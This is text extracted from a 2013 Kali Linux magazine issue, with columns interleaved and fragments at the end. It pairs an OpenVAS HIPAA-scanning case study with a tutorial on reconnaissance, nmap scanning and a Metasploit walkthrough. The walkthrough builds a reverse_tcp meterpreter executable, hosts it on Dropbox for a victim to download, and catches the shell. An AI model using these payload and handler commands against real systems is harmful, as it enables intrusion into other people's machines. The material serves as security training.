lization. Further performance gains would be real- this port to look up various services running on a re-
ized by running OpenVAS from the command line mote computer and is used for remote management
only and not from the GUI. In a distributed scanner of the device. The recommendation from the Open-
model, the desktop interface would only be used VAS report is to “filter incoming traffic to this port”.
on the reporting server. In a real-world application,
I would choose to spend a little more on a signifi-
cantly faster device (and still stay below $100 per
scanner). Some attractive RPi alternatives for the
ARM processor platform include the Beagle Bone
Black and the Odroid U2.
Analyzing the Results

Once the scan(s) were finished, it was time to eval-
uate the results. In this case, we will look at a scan
on my work laptop (a Windows 7 computer). I used
the HTML version of the report although there are
other options including XML, PDF and text.
The Host Summary area of the report provides a
high-level view of the number of vulnerabilities de-
tected and the threat level – High, Medium, or Low.
Since I used the Full and Fast scanning option, I as- Figure 5. OpenVAS HTML Report, Summary Section
sumed the threat count would be fairly low. More in-
vasive scans would likely show more threats at the A potential remediation could be to modify the fire-
expense of time and higher network activity. For the wall rules on the Windows computer to only allow
test scan, the results show zero High level threats, IP packets sourcing from servers and administrative
two Medium and seven Low level. A port summary workstations. This would reduce the attack vector
of the detected threats is shown Figure 5. by blocking connections from peer Windows clients
Let’s take a look at one of the Medium level threats. on the network (which have no need to communi-
The same process will be used to examine each cate directly to the device). A comprehensive reme-
threat to determine a remediation plan for the cli- diation plan would use a similar approach to ana-
ent. One of the threats detected is called “NVT: DCE lyze each threat identified by the scan. The process
Services Enumeration” on TCP port 135. A bit of re- of scanning and remediating identified problems will
Figure 4. Greenbone Security Desktop interface
38 Extra 03/2013
result in an overall risk reduction with respect to our • leverage additional scanning tools to validate
clients’ network security (Figure 6). OpenVAS scans,
• harden the Kali install to protect locally stored
vulnerability reports,
• deploy a client self-service portal to view a his-
tory of scans and vulnerability remediation.
Summary
Figure 6. OpenVAS HTML Report, Security Issues This project started as a proof of concept to deter-
mine the viability of using open source tools like Kali
Centralized Reporting to deploy distributed network vulnerability scanners
OpenVAS is designed to leverage remote slave on low-cost hardware. The business case for this so-
scanners. This allows for the Greenbone Security lution is to provide value-added consulting services
Desktop and the underlying OpenVAS components to our medical clients and reduce risk as part of a
to perform the heavy lifting of the remote scanning. comprehensive HIPAA compliance program. The ex-
The advantage of this capability is using a single in- periences outlined here demonstrate that Raspber-
terface for scheduling scans and reporting. A cen- ry Pi and Kali make an effective hardware/software
tralized OpenVAS server can be used to manage platform for network scans. As is to be expected with
the entire system. The distributed aspect of the solu- an open source project, more effort and technical
tion will allow my security consulting service to scale knowledge is required to deploy (and maintain) the
efficiently without unneeded visits to client sites. solution; however, the long-term return on investment
With direct access to all client reports, I can work di- makes the endeavor worthwhile. The end goal is to
rectly with our managed services team to implement have a completely automated and low-cost scanning
the remediations. While certainly a great feature, the solution where all parties have direct access to the
problem with the solution is requiring multiple VPN reports for compliance and remediation purposes.
connections into the networks of our medical clients. This proof of concept using Kali shows that the end
This risk can be mitigated by using a DMZ for the goal is certainly within reach.
OpenVAS master server and scheduling the scans
in a way where only one client VPN connection is re- HIPAA Terms
quired at a time. Leveraging on-demand VPN con- Covered Entity – a healthcare provider, a health
nections in conjunction with an idle timeout would be plan, or healthcare clearinghouse.
the best configuration to eliminate these concerns. Business Associate – a person or entity that per-
forms certain functions or activities that involve the
Note use or disclosure of protected health information on
Due to the timeline for writing this article, the remote behalf of, or provides services to, a covered entity.
scanning capability of OpenVAS was not tested. Electronic Protected Health Information (e-PHI)
– individually identifiable health information is
Future enhancements that which can be linked to a particular person.
As with any project like this, there is always room Common identifiers of health information include
for improvement. Future requirements to increase names, social security numbers, addresses, and
remote system capabilities will likely push beyond birth dates.
the limits of the Raspberry Pi hardware. In that
case, other slightly more expensive hardware so- CHARLIe WATeRS
lutions could be considered without completely re- Charlie Waters serves as the Security Oicer
inventing the wheel. For example, many other SoC and Senior Consultant for Ininity Network
systems are on the market with higher processor Solutions, a Georgia-based MSP irm. His
speeds and more memory than the RPi. As these background in technology began with an
devices use the same processor family as RPi, it early curiosity and passion for computing
is expected Kali ARM support will enable use of with a Commodore 64 (at the age of twelve). A hobby turned
these more capable hardware systems. Some like- career has led the author on a journey from software develop-
ly future enhancements include: er, web programmer/host, systems engineer, and management
in the public and private sector, to his current role in technology
• packet captures of Internet trafic to keep a roll- consulting. A life-long learner, Charlie maintains the same curi-
ing history of network activity in the event of a osity and passion for technology now in a career spanning if-
breach, teen years.
DeFeNSe
KALI LINUX
A Solution to HACKINg/SeCURITY
Today is the world of technology and everyone somehow is

attached to it. Some are using the technology for the good
purpose and some are using it for bad purposes and Internet
is one of those technologies which define both my statements.
Internet is being used both by the good (the White Hats) and
the bad (the Black Hats). So, my paper is totally based on the
above line that the OS (Operating System) KALI LINUX (which
is an extension to Backtrack) can be used in both the ways
either in good things or in bad things.
What is Kali Linux and what’s its use?
I
n the depth of crisis, hacking over the Internet
is still the very big problem, because the rate of Now this question must come in the minds of the
technology is increasing day by day and every- people that what is Kali Linux. Let me just clear this
one here is for earning money. In that case some concept that Kali Linux is a complete re-building of
earn the money through bad methods or some the Backtrack Linux distributions which is based
by good methods. So, as a hacker I don’t support upon the Debian platform. Now Kali Linux is an ad-
people earning money with bad methodologies. vance version of OS which is used for penetration
Now with the depth of hacking, some big com- testing and security auditing Linux distributions.
panies over the Internet like Facebook, Google, This is also an open source OS which is available
Firefox, and many more opened up a scheme of freely on the Internet. So that anyone can down-
bug bounties in which hackers from all over the load from the Internet.
world are invited to find out a bug or vulnerability
in their services, which if found they pay them with Features of Kali Linux
high bounties for their hard + smart work. To find Some of the features that makes Kali much more
out those bugs hackers have to use some meth- compatible and useful than any other Linux distri-
odologies either based on command line or GUI butions.
based interfaces. Therefore in order to fulfill this
demand of hackers, another type of Operating sys- • Kali Linux come up with 300+ penetration test-
tem called Kali Linux came into the market which is ing tools which are enough to audit any OS,
an extension to Backtrack. Now Kali Linux is very any website or web apps.
much helpful for penetration testing and vulnerabil- • Much more powerful and faster than Backtrack.
ity assessments. I am going to show the various • In Backtrack many tools didn’t work which are
tools that can be used for penetration testing and eliminated in Kali.
also for attacking. This guide on Kali Linux will de- • Open source and freely available on Internet.
scribe both the parts. • Kali Linux is much more compatible with wire-
Now before moving on to the real demonstra- less devices.
tions let’s just go through some of the definitions • Comes in a package of multi languages so that
and terminologies so that while performing there every person can enjoy assessments in their
should be no dilemma in the minds of the people. own language.
40 Extra 03/2013
KALI LINUX – A Solution to HACKINg/SeCURITY
• The packages that are included in the Kali This is how exactly the Kali looks when you en-
Linux are signed by each individual (GPG sig- ter to the main desktop. Just reject the folders.
natures). Now this is my Kali installed in the virtual ma-
• It includes the latest patch for injections which chine and I am not wasting the time in the instal-
could help the pentesters to do assessments lation process because people are smart enough
on the various wireless techniques to carry out the installation of any operating sys-
• And many more. tem. So, let’s just focus on our main task. Just
look at the top-right corner of the window it will
Let us have a close look to Kali now. show that who is currently logged into your sys-
tem (Figure 2).
A survey to Kali Linux Now moving on to the next, the very first task
The outer look of Kali is pretty much different from when you enter into the Kali is to check whether
any other Linux distributions like backtrack. The the Internet connection is working fine or not. Be-
default username and password to enter into the low in the snapshot just look at the cursor at the
Kali is same as that of backtrack – username – top right corner showing the wired network which
root and password – toor (Figure 1). means the Internet is working fine in the virtual ma-
chine with NAT enabled (Figure 3).
Now let’s get familiar with the terminal. In win-
dows there is a command prompt from where the
whole system can be assessable, in Linux there
is something called as terminal which is a based
upon the command line interface from where the
whole system can be viewed. In order to open the
terminal just follow the path as – “Applications >
Accessories > terminal” and from there you can
simply copy the terminal to the desktop like I did,
so that every time the user doesn’t have to go
there, he just come in and click on the terminal to
access it (Figure 4).
Figure 1. The login panel of Kali
Figure 2. The desktop Figure 4. Showing the path to open the terminal
Figure 3. Showing the Internet connectivity Figure 5. The terminal – a command line interface
DeFeNSe
And this is how the terminal looks like (Figure 5). shows the successful working of the Apache
Now let’s get our hands dirty by running some of server (Figure 7).
the commands in the terminal and let’s get friendly • In order to open the Internet browser through
with the Linux. the terminal, just enter “Firefox &” and it will
Some of the important commands which will help open the browser and also shows that what ex-
the user to get friendly with Kali: actly the PID (process ID) for this browser pro-
cess has been allocated (Figure 8).
• In order to run a service in Linux just run • If the root wants to change the password of his
service <name> start. For an instance let’s say account, he can simply do it by entering the
I have run a service called apache2 for my lo- command, “passwd” and enter the password it
cal-host then I will type, “service apache2 will change the password from default “toor” to
start” (Figure 6). And in order to check wheth- say “123” (Figure 9)
er the service has been successfully started or
not. Just start your Internet browser and write Till now we have seen some of the important
“127.0.0.1” which is a loopback address which commands which make a user friendly with the
Linux terminal. Some more commands which are
very helpful for any user to get started with the
Linux and those are:
• ls – list the iles and folders of the current di-

rectory
• cd – change directory
• touch – to make a ile
• mkdir – to create a directory
• rm – removes the iles, rm -R removes iles
and directories
• rmdir – removes the empty directories
• man – open the manual for the commands
Figure 6. Showing to start the apache2 service
• time – to see the current time
Figure 7. Shows Apache is successfully running Figure 9. Changing root default password
Figure 8. Showing to open the Firefox browser Figure 10. Exploring the tools
42 Extra 03/2013
• date – shows the current • Passive gathering – in which a user is not di-
• nano – another editor for the creation and edit- rectly interacting with the target means collect-
ing of the iles. ing the information from search engines like
Google or Bing (Figure 11).
Now these are some of the most important com-
mands which will help any user in the further Now the main task is to gather the IP (Internet
process. Now let us just get back to our main Protocol) address which is a 32-bit unique num-
motive but before irst let me make everyone fa- ber and is being assigned to everyone. The best
miliar with some of the terminologies which will method is to ping a website and gather the IP ad-
help everyone to understand the basic concept dress. Although the ping is used for checking the
behind the scene. whether the host is alive or not but here we are
Now in order to begin with any kind of hacking quite stick to our own method. So, if your target is
every person has to go through some phases and
those phases are knows as the hacking phases
and those are:
Steps Performed by Hackers:

There are only five steps in order to hack anything
in this world:
• Information Gathering
• Scanning
• Gaining Access
• Maintaining Access
• Covering Tracks
In order to explore more about these hacking

steps let’s just check from where all the tools can Figure 11. Gathering information from Google
be accessed in GUI interface (Figure 10).
Now there are more than 300+ tools in Kali Linux
which will help to acquire the remote systems,
generating your own payloads, addition of latest
exploits, scanning process and much more. Now
it is not possible for me also to explore each and
every tool in the tool list but what I am going to do
here is sticking to the main concept and will going
to show the main tools which will make a person
familiar with the Kali and it will also make them free
to use the tools of their own.
Information gathering Figure 12. Acquiring the IP address of a particular website

the very first step in order to gather each and ev-
ery information about the target, only then a tes-
ter can examine the whole bunch of vulnerabili-
ties and can patch them easily and safely. Now
the major source of gathering the information is
Google which is an open source and is available
for each person. But the information gathering de-
pends upon:
• Active gathering- which completely means a

user is interacting with the target directly. For
an instance – making a phone call to a friend
working in the target company and gathering
the information by spooing your own friend. Figure 13. Options in Dmitry
DeFeNSe
website simply ping <website name> and copy the Scanning

IP address (Figure 12). The second most important phase to find out the
Now the next information gather is to check for services that are vulnerable, the open ports, and
the: many other types of types of services which are
vulnerable in windows, websites, routers, and net-
• reverse look up works etc. therefore, scanning is broadly divided
• DNS information into major three parts:
• IP address
• and type of target • Port scanning: In this method the attacker will
send a number of messages to break into the
Now in Kali there is only tool which can give you computer so that he can get the information
all these results, and you don’t have your Inter- about the computer’s network.
net every time to go a website and start search- • Network Scanning: To check the number of ac-
ing for the results. The tool that I am using here is tive hosts on the network.
“dmitry” which is completely based on command • Vulnerability scanning: Means to check the
line but very easy to use and even give the results weaknesses in the target so that it attacker us-
faster and accurate. es those to gain the access of the target
So in order to use dmitry simply run the following
command (Figure 13-15): So now I am going to use the universal vulner-
ability scanner which gives the best output for
<dmitry –winsepfb –t 0-9 –e IP> scanning process and is an open source avail-
able freely on the Internet and the tool known is
Now in this particular scan I have targeted the nmap which is responsible a number of inger-
Google and it shows the scan results that all the printing, service ingerprinting and numerous
150 ports are in a closed state. You can simply TCP scan, stealth scan, UDP scan, PORT scan
put as many as options you want. and many more.
Figure 14. Running Dmitry against Google Figure 16. Invoking the nmap in the terminal
Figure 15. Results of the Dmitry scan Figure 17. TCP scans
44 Extra 03/2013
Step 1 Brief Description about the Metasploit

Invoke the nmap by running the command “nmap” Metasploit (also known as MS) is basically an open
(Figure 16). source framework that contains all the exploits,
payloads, helpful in penetration testing and also
Step 2 helpful in IDS signature development. MSF actual-
Check for TCP SCAN. Command used is: namp ly contains the database of the exploit codes which
-sT IPaddress (Figure 17). when hit on any PC inside or outside the network
with the concerned vulnerabilities, produce a shell
exploitation at that targeted PC and returns back to the attack-
Gaining Access or exploitation means to acquire er’s machine.
any computer system, control panel of any website So, let’s get started with the exploitation phase:
or any network without someone’s permission. The
attacker in this phase attacks on the systems to • Open up the terminal and invoke the Metasploit
gain the access and steals the important informa- console by running the command called
tion about the company which he wants to exploit. msfconsole and wait for 1-2 minutes as it takes time
The exploit can occur in LAN (Local Area Network), to load all the payloads, exploits etc (Figure 18).
in a WAN (Wide Area Network) and also it can also
occur offline like REVERSE ENGINEERING, Buf-
fer Overflow Attacks, Password Filtering etc.
Now in this particular phase I am going to exploit
my own WIN-7 just to show how the exploitation
can be done through Kali Linux in much faster way
than Backtrack.
Before going deep into the exploitation let me
clear some of the basic terminologies so that there
should be no confusion while going through attack-
ing phase.
• Threat: A threat is potential violation of the se-

Figure 18. Invoking the Metasploit Terminal
curity.
• Vulnerability: It is the weakness in the design of
an application or any website that can lead to
compromising with the security of the system or
the network or any web based application.
• Attack: To set up a violence force.
• Exploit: It means to breach the security of the
IT (Info. Tech.) System through the vulnerabili-
ty.
• Payload: Payloads in computer security are re-
lated to malicious iles (generally .exe) which
perform malicious activity.
• Reverse TCP connection: A reverse connec- Figure 19. Generating a payload for back connection
tion actually made to bypass the restrictions
that the irewall has applied on the open ports.
A irewall actually blocks the incoming trafic
through the open ports but could not block the
outgoing trafic. So, the attacker use this way
to bypass the security restrictions.
Things Required
• KALI LINUX UPDATED METASPLOIT.

• An intermediate to upload your payload (I am
using DROPBOX and SHARE FOLDER of KA-
LI LINUX). Figure 20. Executing the exploit to run
DeFeNSe
• And in the mean while till the msfconsole gets way in order to come back to into the system lat-
opened, open up a new terminal to create a er. By this step of hacking an attacker can come
payload which will help to create a back con- to the gained system anytime even if the service
nection, and in order to create a payload enter he exploited is patched. The Metasploit Persis-
the following command (Figure 19): msfpayload tent Meterpreter Service is what an attacker usu-
windows/meterpreter/reverse _ tcp lhost=Kali ally uses, but there’s warning when you use this
IP address lport=4444 x > /root/Desktop/ persistent Meterpreter requires no authentication.
backconnection.exe But this will have a problem. Any other attacker
• Now upload it anywhere on the Internet to ex- who uses the same service will also have the
ploit and here I am uploading it in dropbox just same port address to maintain the access which
for demonstration. is not a right thing.
• Now coming back to the Metasploit console
and run the following commands step by step. Covering tracks
• Write the command – use exploit/multi/handler Covering tracks is a last phase of hacking. Cover-
and press enter” (Figure 20) ing tracks refers to the actions that are being un-
• Set a payload by writing the command (Figure dertaken by an attacker to widen his exploitation of
21): set payload Windows/vncinject/reverse _ tcp the system without being detected. Now the rea-
• Set the LHOST (LOCAL HOST) – set lhost son behind covering tracks is to be on the safer
192.168.40.128 (KALI IP address) (Figure 22) side and also include the prolonged stay and con-
• Then Just set for the exploit – “exploit” (Figure 23) tinued use of resources.
• Now as soon as The VICTIM download your
vulnerable payload ile from the INTERNET Conclusion
you will get the back connection of his/her PC In the end I would only like to conclude that in
(Figure 24 and Figure 25) the depth of crisis, hacking over the INTERNET
is still a very big problem. Some hackers do it for
Maintaining Access the sake of fun or some do it for the sake of tak-
Maintaining Access is an important phase after ing revenge. Therefore, KALI is the solution of all
gaining the access to any computer system. In these answers. Kali can be used as an OS for
this step the attacker leaves himself an easier penetration testing which could help the security
Figure 21. Executing the payload Figure 23. Setting up the exploit in msfconsole
Figure 22. Setting up the LHOST Figure 24. Victim tried to install our payload
46 Extra 03/2013
DeePANSHU KHANNA
Linux Security Researcher,
Mr. Deepanshu Khanna, a Young Linux Security Expert from
Ludhiana, Punjab (India), is Linux Security Researcher & Pen-
etration Tester at “Prediqnous – Cyber Security & IT Intelli-
gence”. Currently, he is pursuing his B.Tech. in Computer Sci-
ence from Lovely Professional University (LPU). He managed
Web Penetration testing, performed network analysis, Exploit
making, Nessus Complete Security, IDS and Linux Security,
which leads him to join Prediqnous Team. He has delivered his
knowledge through Seminars and Workshops across India.
Figure 25. Successfully got the Windows Shell on my KALI He gives training to the students for IT Security & Ethical Hack-
LINUX ing. He found and reported many vulnerabilities and phishing
scams to IT Dept. of India. He aims to get applauses from oth-
researchers and analysts to find out the bugs in er experts of IT industry for his research work on IT Security.
various networks or OS so that they can become Email: khannadeepanshu34@yahoo.in
secure to some extent. Mobile Number: +91-9779903383
a d v e r t i s e m e n t
U P D AT E
NOW WITH
STIG
AUDITING
IN SOME CASES
nipper studio
HAS VIRTUALLY
REMOVED
the
NEED FOR a
MANUAL AUDIT
CISCO SYSTEMS INC.
Titania’s award winning Nipper Studio coniguration
auditing tool is helping security consultants and end-
user organizations worldwide improve their network
security. Its reports are more detailed than those typically
produced by scanners, enabling you to maintain a higher
level of vulnerability analysis in the intervals between
penetration tests.
Now used in over 45 countries, Nipper Studio provides a

thorough, fast & cost effective way to securely audit over
100 different types of network device. The NSA, FBI, DoD
& U.S. Treasury already use it, so why not try it for free at
www.titania.com
www.titania.com
®
Creating Innovative and Unique QR Code Solutions
is our only job and its what we do better than anyone else.
It isn’t about the code, its about what the code can do for you, and
it goes so much further than just a marketing idea. VitreoQR has a
complete array of world class solutions, from marketing to
management, that can help you measure and grow your business.
Whatever your challenge might be, inventory control, counterfeit
prevention, access control systems, supply chain management or
any one of countless other business conditions, VitreoQR can
develop a QR Code driven solution to meet your speciÞc needs. As
a licensee of DENSO Wave QR Code patents, we have all the
necessary tools to make your business more efÞcient and more
proÞtable through new ideas in 2D barcoding systems.
WARNING: If you donÕt want to learn

more, don’t scan this code!
No one understands QR Codes like we do.
Explore the possibilities that QR Code technologies offer as real world solutions to even the most
difÞcult problems. Convey information, manage issues, reach new markets and move more
people into your perspective as you have never been able to do before. There simply isnÕt
another technology that can do as much for you, at the same value proposition, as a QR Code.
VitreoQR deploys genuine, DENSO Wave QR Codes that are absolutely guaranteed to be fully
compliant with the ISO:18004:2006 speciÞcation, delivering to you security and peace of mind.
QRCode QRPhoto QRLogo QRMotion QRAnalytics QRCustom SQRC
In Partnership With
VitreoQR, LLC
12801 Berea Road, Suite F
Cleveland, Ohio 44111 U.S.A.
P. 440.941.2320
E. info@vitreoqr.com
I N V E N T O R O F
W. http://vitreoqr.com T H E Q R C O D E®
QR Code® is a Registered Trademark of DENSO WAVE INCORPORATED.

Guide To Kali Linux PDF

Uploaded by

Copyright:

Available Formats

Guide To Kali Linux PDF

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Guide To Kali Linux PDF

Uploaded by

Copyright:

Available Formats

“We specialize in Information

Security Solutions including

Cyber Investigations N.I. Ltd.

Northern Ireland Science Park For a free security

Please visit us on: www.cyberinvestigationsni.com

A long with the Autumn here it comes the comprehen-

Whilst every effort has been made to ensure the

Kali Linux, Attacking Servers 24

Hands On: How to Create “Backdoor”

Kali Linux released earlier in the year is dubbed the most

get a new name now because of Kali). Offensive

Upgrading to Future versions of Kali

Development Architecture Samsumg galaxy Note 10.1

• Step 1: Get 8GB micro SD Card, class 10 high-

root@kali:~ dd if =kali-bbb.img of=/dev/sdb bs=512k Figure 2. Directory Structure

Figure 3. Kali Vs. Backtrack: Change in Directory Structure

Figure 5. Tool Comparison between Kali and Backtrack

Some Brief about the vulnerability Reference to the vulnerability

System exploited successfully

Steps followed to exploit the vulnerability (Figures

Step 1: Open MSF Console

Figure 9. Verifying exploited system

• Use exploit/windows/smb/ms08_067_netapi Summary

Big Data gets real

Come to Big Data TechCon to learn the best ways to:

“Big Data TechCon is loaded with great networking

“Big Data TechCon is great for beginners as well as

The HOW-TO conference for Big Data and IT professionals

Big Data TechCon™ is a trademark of BZ Media LLC.

Figure 1. Android Architecture, taken from wiki

Introduction to the HTC One X Mobile Exploitation Tools, Sniffing/Spoofing, Maintain-

recommend rooting. HTC provides instructions on

• Method 01: Install Kali GUI using Linux Deploy

Method 01: Install Kali gUI using Linux

• Install Linux Deploy and conigure

Click on the Connect button to ire away. Ka-

sudo apt-get update && sudo apt-get upgrade &&

apt-cache search armitage && apt-get install

Method 02: Install Kali Command Line

• Download pre-compiled chroot kali distribution

• Extract the downloaded archive onto phone’s

*Note: Kali ile requires permissions to be an exe-

Chmod 755 /sdcard/kali/kali

then use this command to run Kali

su -c /sdcard/kali && sh kali

su -c “cd /sdcard/kali && sh kali”

apt-get update && apt-get upgrade && msfupdate

Figure 11. Kali chroot prompt

Table 2. Tools for enhancing functionality

Kali Linux, Attacking

This article will show you how to perform attacks on web

We will focus on the following: Information Gath-

Nmap: Information gathering

OWASP: Search vulnerabilities

Figure 4. Report in html from OWASP

Figure 6. Showing the databases with sqlmap

‘chmod + x / usr / share / set / msf.exe‘

Figure 5. Start the listener, Step 5

Figure 8. Ettercap, Step 2